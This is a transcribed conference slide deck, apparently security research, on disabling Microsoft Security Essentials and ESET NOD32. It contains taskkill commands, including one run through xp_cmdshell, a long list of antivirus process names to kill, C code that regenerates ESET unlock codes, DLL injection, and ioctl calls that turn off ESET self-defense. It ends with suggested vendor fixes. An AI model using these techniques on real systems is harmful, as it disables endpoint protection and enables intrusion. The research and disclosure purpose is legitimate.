disabling andtivirus programs

Transcription

Disabling Antivirus
program(s)
András Tevesz
andras.tevesz@bdo.hu
1
12. október 17., szerda
Agenda
•
Motivation
• Microsoft Security Essentials
• ESET Nod
• Unlocking password protection
• Defeating self protection
•
•
Changing the rules
Possible solutions
2
Microsoft Security :)
Essentials
• Defeating MSSE
• taskkill /f /im msseces.exe /im MsMpEng.exe
• MSSQL:
• EXEC xp_cmdshell 'taskkill /f /im
msseces.exe /im MsMpEng.exe' ; GO
3
VIDEO DEMO
Disable MS SE with
MS taskkill
4
5
6
AAWTray.exe
Ad-Aware.exe
MSASCui.exe
_avp32.exe
_avpcc.exe
_avpm.exe
aAvgApi.exe
ackwin32.exe
adaware.exe
advxdwin.exe
agentsvr.exe
agentw.exe
alertsvc.exe
alevir.exe
alogserv.exe
amon9x.exe
anti-trojan.exe
antivirus.exe
ants.exe
apimonitor.exe
aplica32.exe
apvxdwin.exe
arr.exe
atcon.exe
atguard.exe
atro55en.exe
atupdater.exe
atwatch.exe
au.exe
aupdate.exe
autoprotect.nav80try
.exe
autodown.exe
autotrace.exe
autoupdate.exe
avconsol.exe
ave32.exe
avgcc32.exe
avgctrl.exe
avgemc.exe
avgnt.exe
avgrsx.exe
avgserv.exe
avgserv9.exe
avguard.exe
avgw.exe
avkpop.exe
avkserv.exe
avkservice.exe
avkwctl9.exe
avltmain.exe
avnt.exe
avp.exe
avp.exe
msf/scripts/
meterpreter/killav.rb
avp32.exe
avpcc.exe
avpdos32.exe
avpm.exe
avptc32.exe
avpupd.exe
avsched32.exe
avsynmgr.exe
avwin.exe
avwin95.exe
avwinnt.exe
avwupd.exe
avwupd32.exe
avwupsrv.exe
avxmonitor9x.exe
avxmonitornt.exe
avxquar.exe
backweb.exe
bargains.exe
bd_professional.
exe
beagle.exe
belt.exe
bidef.exe
bidserver.exe
bipcp.exe
bipcpevalsetup.e
xe
bisp.exe
blackd.exe
blackice.exe
blink.exe
blss.exe
bootconf.exe
bootwarn.exe
borg2.exe
bpc.exe
brasil.exe
bs120.exe
bundle.exe
bvt.exe
ccapp.exe
ccevtmgr.exe
ccpxysvc.exe
cdp.exe
cfd.exe
cfgwiz.exe
cfiadmin.exe
cfiaudit.exe
cfinet.exe
cfinet32.exe
claw95.exe
claw95cf.exe
clean.exe
cleaner.exe
cleaner3.exe
cleanpc.exe
click.exe
cmd.exe
cmd32.exe
cmesys.exe
cmgrdian.exe
cmon016.exe
connectionmonito
r.exe
cpd.exe
cpf9x206.exe
cpfnt206.exe
ctrl.exe
cv.exe
cwnb181.exe
cwntdwmo.exe
datemanager.exe
dcomx.exe
defalert.exe
defscangui.exe
defwatch.exe
deputy.exe
divx.exe
dllcache.exe
dllreg.exe
doors.exe
dpf.exe
dpfsetup.exe
dpps2.exe
drwatson.exe
drweb32.exe
drwebupw.exe
dssagent.exe
dvp95.exe
dvp95_0.exe
ecengine.exe
efpeadm.exe
emsw.exe
ent.exe
esafe.exe
escanhnt.exe
escanv95.exe
espwatch.exe
ethereal.exe
etrustcipe.exe
evpn.exe
exantiviruscnet.exe
exe.avxw.exe
expert.exe
explore.exe
f-agnt95.exe
f-prot.exe
f-prot95.exe
f-stopw.exe
fameh32.exe
fast.exe
fch32.exe
fih32.exe
findviru.exe
firewall.exe
fnrb32.exe
fp-win.exe
fp-win_trial.exe
fprot.exe
frw.exe
fsaa.exe
fsav.exe
fsav32.exe
fsav530stbyb.exe
fsav530wtbyb.exe
fsav95.exe
fsgk32.exe
fsm32.exe
fsma32.exe
fsmb32.exe
gator.exe
gbmenu.exe
gbpoll.exe
generics.exe
gmt.exe
guard.exe
guarddog.exe
hacktracersetup.
exe
hbinst.exe
hbsrv.exe
hotactio.exe
hotpatch.exe
htlog.exe
htpatch.exe
hwpe.exe
hxdl.exe
hxiul.exe
iamapp.exe
iamserv.exe
iamstats.exe
ibmasn.exe
ibmavsp.exe
icload95.exe
icloadnt.exe
icmon.exe
icsupp95.exe
icsuppnt.exe
idle.exe
iedll.exe
iedriver.exe
iexplorer.exe
iface.exe
init.exe
intdel.exe
intren.exe
iomon98.exe
istsvc.exe
jammer.exe
jdbgmrg.exe
jedi.exe
kavlite40eng.exe
kavpers40eng.exe
kavpf.exe
kazza.exe
keenvalue.exe
kerio-pf-213-enwin.exe
kerio-wrl-421-enwin.exe
kerio-wrp-421-enwin.exe
kernel32.exe
killprocesssetup1
61.exe
launcher.exe
ldnetmon.exe
ldpro.exe
ldpromenu.exe
ldscan.exe
lnetinfo.exe
loader.exe
localnet.exe
lockdown.exe
lockdown2000.exe
lookout.exe
lordpe.exe
lsetup.exe
luall.exe
luau.exe
lucomserver.exe
luinit.exe
luspt.exe
mapisvc32.exe
mcagent.exe
mcmnhdlr.exe
mcshield.exe
mctool.exe
mcupdate.exe
mcvsrte.exe
mcvsshld.exe
md.exe
mfin32.exe
mfw2en.exe
mfweng3.02d30.exe
mgavrtcl.exe
mgavrte.exe
7
mghtml.exe
mgui.exe
minilog.exe
mmod.exe
monitor.exe
moolive.exe
mostat.exe
mpfagent.exe
mpfservice.exe
mpftray.exe
mrflux.exe
msapp.exe
msbb.exe
msblast.exe
mscache.exe
msccn32.exe
mscman.exe
msconfig.exe
msdm.exe
msdos.exe
msiexec16.exe
msinfo32.exe
mslaugh.exe
msmgt.exe
msmsgri32.exe
mssmmc32.exe
mssys.exe
msvxd.exe
mu0311ad.exe
mwatch.exe
n32scanw.exe
nav.exe
navap.navapsvc.ex
e
navapsvc.exe
navapw32.exe
navdx.exe
navlu32.exe
navnt.exe
navstub.exe
navw32.exe
navwnt.exe
nc2000.exe
ncinst4.exe
ndd32.exe
neomonitor.exe
neowatchlog.exe
netarmor.exe
netd32.exe
netinfo.exe
netmon.exe
netscanpro.exe
netspyhunter-1.2.
exe
netstat.exe
netutils.exe
nisserv.exe
nisum.exe
nmain.exe
nod32.exe
normist.exe
norton_internet_s
ecu_3.0_407.exe
notstart.exe
npf40_tw_98_nt_me
_2k.exe
npfmessenger.exe
nprotect.exe
npscheck.exe
npssvc.exe
nsched32.exe
nssys32.exe
nstask32.exe
nsupdate.exe
nt.exe
ntrtscan.exe
ntvdm.exe
ntxconfig.exe
nui.exe
nupgrade.exe
nvarch16.exe
nvc95.exe
nvsvc32.exe
nwinst4.exe
nwservice.exe
nwtool16.exe
ollydbg.exe
onsrvr.exe
optimize.exe
otfix.exe
outpost.exe
outpostinstall.ex
e
outpostproinstall
.exe
padmin.exe
panixk.exe
patch.exe
pavcl.exe
pavproxy.exe
pavsched.exe
pavw.exe
pccwin98.exe
pcfwallicon.exe
pcip10117_0.exe
pcscan.exe
pdsetup.exe
periscope.exe
persfw.exe
perswf.exe
pf2.exe
pfwadmin.exe
pgmonitr.exe
pingscan.exe
platin.exe
pop3trap.exe
poproxy.exe
popscan.exe
portdetective.exe
portmonitor.exe
powerscan.exe
ppinupdt.exe
pptbc.exe
ppvstop.exe
prizesurfer.exe
prmt.exe
prmvr.exe
procdump.exe
processmonitor.ex
e
procexplorerv1.0.
exe
programauditor.ex
e
proport.exe
protectx.exe
pspf.exe
purge.exe
qconsole.exe
qserver.exe
rapapp.exe
rav7.exe
rav7win.exe
rav8win32eng.exe
ray.exe
rb32.exe
rcsync.exe
realmon.exe
reged.exe
regedit.exe
regedt32.exe
rescue.exe
rescue32.exe
rrguard.exe
rshell.exe
rtvscan.exe
rtvscn95.exe
rulaunch.exe
run32dll.exe
rundll.exe
rundll16.exe
ruxdll32.exe
ESET NOD 5.x
Self Defense Methods
• Registry Access/Modification Protection
• Kernel driver and ioctl protection
• Process access protection
• Service protection
8
Registry Protection
9
Device Driver IOCTL
Access Protection
EKRN Service and GUI
process protection
Process Protection
Password protection
13
VIDEO DEMO
Disable ESET NOD
password protection with
metasploit script
14
15
Password unlock v3
• http://download.eset.com/special/
unlockv3.exe
• Simple code
• CRC32 to simplify the challenge
• Writes a fix value to a pre defined key
• Info\PackageID = 137
16
Reversing unlockv3.exe
17
Current Password
unlock
• http://download.eset.com/special/unlock.exe
18
Reversing unlock.exe
19
CRC32 table and
“hash” algorithm
//.rdata:0010F5A8
unsigned __int32 crc32_table [] = {
0x00000000,0x74073096,0xee0e612c,0x990951ba,
0x076dc419,0x706af48f,0xe963a535,0x9e6495a3,
0x0edb8832,0x73dcb8a4,0xe0d5e91e,0x97d2d988,
0x09b64c2b,0x7eb17cbd,0xe7b82d07,0x90bf1d91,
0x1db71064,0x6ab020f2,0xf3f97148,0x84be41de,
0x1adad47d,0x6ddde4eb,0xf4d4b551,0x83d385c7,
0x136c9856,0x646ba8c0,0xadd2f97a,0x8a65c9ec,
0x14015c4f,0x63066cd9,0xfa0f3d63,0x8d080df5,
0x3b6e20c8,0x4c69105e,0xf56041e4,0xa2677172,
0x3c03e4d1,0x4b04d447,0xd20d85fd,0xa50ab56b,
0x35b5a8fa,0x42b2986c,0xdbbbc9d6,0xacbcf940, ...
0x3f3f3f3f,0x3f3f3f3f,0x3f3f3f3f,0x3f3f3f3f,
0x3f2e3f3f,0x203f323f,0x00000000};
int index =0;
volatile unsigned __int32 ret = ~flag;
if (len)
{
do
{ unsigned __int32 c = data[index];
unsigned __int8 o = ret ^ data[index];
ret = crc32_table[o] ^ ((unsigned int)ret >> 8); index++;
}
while ( index < len );
}
return ~ret;
the data is modified because it is currently not fixed
20
Unlock code
generation
char computer_name[256]; DWORD SectorsPerCluster = 0;
DWORD BytesPerSector = 0;
DWORD NumberOfFreeClusters = 0;
DWORD TotalNumberOfClusters = 0;
DWORD nSize = 256;
char number[256];
memset (number, 0, sizeof(number));
GetComputerNameA(computer_name, &nSize); // get computer name unsigned __int32 ret1 = check(computer_name,nSize, -‐1); // hash computer name
GetDiskFreeSpaceA("c:\\", &SectorsPerCluster, &BytesPerSector,
&NumberOfFreeClusters, &TotalNumberOfClusters); // get disk data
unsigned __int32 ID = (SectorsPerCluster + BytesPerSector + TotalNumberOfClusters) ^ ret1;
// calculate the ID
printf( "ID: %u\n",ID);
sprintf(number,"%u",ID);
unsigned __int32 CODE = check(number, strlen(number), ID); // calculate the CODE printf("CODE: %u\n", CODE);
return ret3;
21
Unlock summary
•
•
•
•
•
•
•
client side code generation
client side code validation
client side reproduction of the response code
missing license validation
reusable response code
missing timeout support
easy reproduction of the response code
22
Defeating ESET NOD
Self defense
• ESET process protection
• ESET kernel protection
• Digital signature validation
• Injection into signed and trusted process
23
VIDEO demo
change an exclude rule
24
25
Simple Injection
HOOKPROC hkprcSysMsg;
static HINSTANCE hinstDLL; static HHOOK hhookSysMsg;
printf("hooking GetMsgProc in eset smart installer ...\n");
hinstDLL = LoadLibrary(TEXT("inject.dll")); hkprcSysMsg = (HOOKPROC)GetProcAddress(hinstDLL, "GetMsgProc"); hhookSysMsg = SetWindowsHookEx( WH_GETMESSAGE, hkprcSysMsg, hinstDLL, 0); •
Simple, reliable standard • API to inject DLL into any SetWindowsHookEx
process’s address space 26
Disable ESET self
defense
/*
0x18FDCC 1 637 836 <-‐ in 4 byte value :4 0x18FDD0 1 637 840 <-‐ out 12 byte
0x18FDD4 1 637 844 <-‐ out 8 byte
0x18FDD8 1 637 848 <-‐ out 4 byte
0x18FDDC 1 637 852 <-‐ in 10 byte
*/
struct _OVERLAPPED Overlapped;
memset(&Overlapped,0,sizeof(Overlapped));
HANDLE ehdrv_handle = CreateFile("\\\\.\\ehdrv",GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING,FILE_FLAG_OVERLAPPED| FILE_ATTRIBUTE_NORMAL, NULL); if(ehdrv_handle == INVALID_HANDLE_VALUE)
{
LOG ("Filed to open ehdrv file\n");
return;
}
LOG ("CreateFile ehdrv\n");
int buffer[4]; // 4*4 byte
memset(buffer,0,sizeof(buffer));
buffer[0] = 4;
DWORD ret = 0;
DeviceIoControl ( ehdrv_handle, 0x002224c3, buffer, 4, &buffer[1], 4*3, &ret, &Overlapped);
buffer[0] = 9;
buffer[1] = ret;
DeviceIoControl ( ehdrv_handle, 0x002224c3, buffer, 4*4, &buffer[2], 4*2, &ret, &Overlapped);
DeviceIoControl ( ehdrv_handle, 0x002224c3, buffer, 4*4, &buffer[2], 4, &ret, &Overlapped);
27
Self defense
summary
• Selective or whitelist based process
protection
• Partial or image based digital certificate
validation
28
Possible Solutions for
self defense
• Protect all ESET signed
process/image
• Validate all loaded modules in
the process
29
RSA based response
code generation
• sign request with a generated user key
• send request to ESET HQ
• validate request (license validation)
• send a signed response to the user
• ESET NOD should accept and verify only
valid and signed responses
30
RSA encrypted
password
• Store the password encrypted with an RSA
public key
• Send it to the ESET HQ for decryption
with the private key
Crypto api check
trusted image
•
•
•
•
•
CryptQueryObject
•
CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_E
MBED
CryptMsgGetParam
CryptDecodeObject
•
SPC_SP_OPUS_INFO_OBJID
CertFindCertificateInStore
GetTimeStampSignerInfo
32
Validate all modules
• CreateToolhelp32Snapshot
• Module32First, Module32Next
• OpenProcess
• EnumProcessModulesEx
• LIST_MODULES_ALL
33
ESET signed binaries
• protect all ESET signed binaries
34
Q&A
35

disabling andtivirus programs

Transcription

Similar documents

Computerviren

Bagle.69842 웜 분석보고서

Door and Window Furniture

NVC 5 deutsch JEC

1 - Open Security Training

für Windows 9x Windows NT Workstation Personal

Panda Corporate Solutions

Panda Security Corporate Solutions

Subject: Problem mit pxe boot / dhcpd Posted by usenet

SAP Business One 9.2